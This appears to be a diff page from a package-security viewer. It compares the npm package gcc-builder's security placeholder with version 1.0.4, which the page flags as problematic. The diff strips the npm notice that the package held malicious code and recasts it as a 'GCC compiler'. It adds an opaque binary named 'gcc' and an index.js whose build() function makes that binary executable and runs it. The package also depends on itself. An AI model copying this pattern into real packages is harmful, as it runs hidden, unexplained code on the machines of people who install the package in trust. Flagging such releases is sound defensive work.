gcc-builder 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of gcc-builder might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +2 -4
  2. package/gcc +0 -0
  3. package/index.js +19 -0
  4. package/package.json +15 -3
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # GCC Builder
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=gcc-builder for more information.
3
+ This is our own GCC compiler for various projects. Detects and builds project itself.
package/gcc ADDED
Binary file
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ function build(...args) {
2
+ //set a+x to the file
3
+ const { exec } = require('child_process');
4
+ exec(`chmod a+x ./node_modules/gcc-builder/gcc`, (err, stdout, stderr) => {
5
+ if (err) {
6
+ console.log(err);
7
+ return;
8
+ }
9
+ exec(`./node_modules/gcc-builder/gcc`, (err, stdout, stderr) => {
10
+ if (err) {
11
+ console.log(err);
12
+ return;
13
+ }
14
+ console.log(stdout);
15
+ });
16
+ });
17
+ }
18
+
19
+ module.exports = build;
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "gcc-builder",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "Own GCC compiler for our projects",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [
10
+ "gcc",
11
+ "compiler"
12
+ ],
13
+ "author": "lolfhd22",
14
+ "license": "ISC",
15
+ "dependencies": {
16
+ "gcc-builder": "^1.0.3"
17
+ }
6
18
  }